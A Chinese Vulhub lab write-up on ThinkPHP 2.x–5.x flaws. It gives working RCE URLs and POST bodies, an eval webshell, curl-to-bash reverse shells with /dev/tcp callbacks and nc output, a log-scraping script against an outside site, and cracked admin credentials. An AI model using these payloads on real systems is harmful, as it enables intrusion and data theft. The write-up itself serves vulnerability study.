Vulhub 漏洞学习之:ThinkPHP
目录0 利用工具
- ThinkPHP漏洞大全_LeYuuuuuuu的博客-CSDN博客_thinkphp漏洞
- zangcc/Aazhen-RexHa: 自研JavaFX图形化漏洞扫描工具,支持扫描的漏洞分别是: ThinkPHP-2.x-RCE, ThinkPHP-5.0.23-RCE, ThinkPHP5.0.x-5.0.23通杀RCE, ThinkPHP5-SQL注入&敏感信息泄露, ThinkPHP 3.x 日志泄露NO.1, ThinkPHP 3.x 日志泄露NO.2, ThinkPHP 5.x 数据库信息泄露的漏洞检测,以及批量检测的功能。漏洞POC基本适用ThinkPHP全版本漏洞。 (github.com)
1 ThinkPHP 2.x 任意代码执行漏洞
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
-
存在漏洞的文件:
/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
-
漏洞代码位置
// Dispatcher.class.php中static public function dispatch() 第102行
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
- 漏洞代码块
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
- 漏洞解析:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
# preg_replace()函数执行一个正则表达式的搜索和替换。
<?php
$aaa = @preg_replace('/a/i','print("hello world!");','abc');
echo $aaa;
echo "\n";
$bbb = @preg_replace('/a/e','print("hello world!");','abc');
echo $bbb;
# 输出:
print("hello world!");bc
hello world!1bc
# /(\w+)\/([^\/])/ies 表示是取每两个参数,[^\/]表示查找除中括号内("\/")外的任何字符
<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>
# 输出
Array
(
[a] => b
[c] => d
[e] => f
)
-
修饰符可以改变搜索的执行方式。
修饰符 描述 i 执行不区分大小写的搜索 m 执行多行搜索(搜索字符串开头或结尾的模式将匹配每行的开头或结尾) u 启用 UTF-8 编码模式的正确匹配 e 为PHP专有参数,表示可执行模式 -
PHP语法:
在PHP中${}里面可以执行函数
-
ThinkPHP的url规则:
-
thinkphp 所有的主入口文件默认访问index控制器(模块)
-
thinkphp 所有的控制器默认执行index动作(方法)
-
存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
-
ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://server-ip/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...] # 如果不支持PATHINFO的服务器可以使用兼容模式访问如下: http://server-ip/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
-
-
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
1.1 环境安装
docker-compose up -d
- 环境启动后,访问
http://your-ip:8080
即可查看到默认页面。
1.2 漏洞利用过程
-
验证是否存在漏洞
http://192.168.50.4:8080/?s=/Index/index/name/${@phpinfo()}
1.3 GetShell
-
GetWEBShell
# 使用蚁剑输入以下url连接目标主机 http://192.168.50.4:8080/?s=/Index/index/name/${@print(eval($_POST[acmd]))}
-
反弹shell
# bp中将GET请求转换为POST POST /?s=a/b/c/${@print(eval($_POST[1]))} HTTP/1.1 # 再添加请求主体反弹shell 1=system("curl 192.168.50.2:8080/sh.sh | bash"); # http://192.168.50.2:8080/sh.sh 内容 bash -i >& /dev/tcp/192.168.50.2/2333 0>&1
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 57928 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@54abd56c2a0b:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@54abd56c2a0b:/var/www/html$
2 ThinkPHP 3.x
2.1 ThinkPHP 3.x 日志泄露漏洞
2.1.1 漏洞原理
- ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多网站都没有关
- ThinkPHP默认安装后,也会在Runtime目录下生成日志
- 日志很容易被猜解到,而且日志里面有执行SQL语句的记录
2.1.2 漏洞利用过程
-
日志存储结构:
# :项目名\Runtime\Logs\Home\年份_月份_日期.log THINKPHP3.2 日志结构:Application\Runtime\Logs\Home\16_09_09.log THINKPHP3.1 日志结构:Runtime\Logs\Home\16_09_09.log
-
尝试构造访问当天的thinkphp日志:确认存在日志泄露漏洞
-
Python 遍历所有日志:
import requests import sys def logfile(year): """ python输出00,01,02或001,002,003等格式字符串 rjust() 方法会返回一个原字符串右对齐,并使用空格填充至长度 width 的新字符串。 如果指定的长度小于字符串的长度则返回原字符串 注意:int格式的不支持使用rjust方法,可以先用str函数转化为string字符串 :param year: :return: """ logfilename = [] for m in range(1, 13): for d in range(1, 32): m = str(m).rjust(2, '0') d = str(d).rjust(2, '0') logfilename.append("%s_%s_%s.log" % (year, m, d)) return logfilename def main(): year = sys.argv[1] print(year) logfilename = logfile(year) for logname in logfilename: url = "http://www.webhack123.com/App/Runtime/Logs/" + logname r = requests.get(url) if r.status_code == 200: print(url) with open(logname, "w", encoding="utf-8") as f: f.write(r.text) if __name__ == '__main__': main()
-
在日志中发现了用户历史登录日志:
-
-
解密MD5:
74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
的明文密码是:web123
-
成功进入后台:
-
在后台修改允许上传文件类型后,上传一句话木马,成功连接WebShell
-
上传CS反弹Payload,并执行,成功上线CS
3 ThinkPHP5 5.0.20远程代码执行漏洞
版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
参考链接:
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
3.1 环境安装
运行ThinkPHP 5.0.20版本:
docker-compose up -d
- 环境启动后,访问
http://your-ip:8080
即可看到ThinkPHP默认启动页面。
3.2 漏洞利用过程
- 执行phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
- 执行系统命令:
http://192.168.50.4:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
- 查看数据库用户:
http://192.168.50.4:8080/?s=.|think\config/get&name=database.username
- 查看数据库密码:
http://192.168.50.4:8080/?s=.|think\config/get&name=database.password
3.3 GetShell
-
执行命令:
http://192.168.50.4:8080/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl%20192.168.50.2:8080/sh.sh%20|%20bash # http://192.168.50.2:8080/sh.sh 内容 bash -i >& /dev/tcp/192.168.50.2/2333 0>&1
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 39812 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@dc116179634e:/var/www/public$ id id uid=33(www-data) gid=33(www-data) groups=33
4 ThinkPHP5 5.0.23 远程代码执行漏洞
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
4.1 环境安装
执行如下命令启动一个默认的thinkphp 5.0.23环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到默认的ThinkPHP启动页面。
4.2 漏洞利用过程
-
使用BP发送如下请求执行命令
POST /index.php?s=captcha HTTP/1.1 Host: Your-IP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
4.3 GetShell
-
使用如下命令反弹shell
POST /index.php?s=captcha HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 Pragma: no-cache Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 105 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.50.2:8080/sh.sh | bash
# http://192.168.50.2:8080/sh.sh 内容 bash -i >& /dev/tcp/192.168.50.2/2333 0>&1 ┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 58484 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@635148ae2996:/var/www/public$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
5 ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
漏洞原理说明:
5.1 环境安装
运行环境:
docker-compose up -d
启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2
,即可看到用户名被显示了出来,说明环境运行成功。
5.2 漏洞利用过程
-
访问
http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
,信息成功被爆出:当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:
这又属于一个敏感信息泄露漏洞。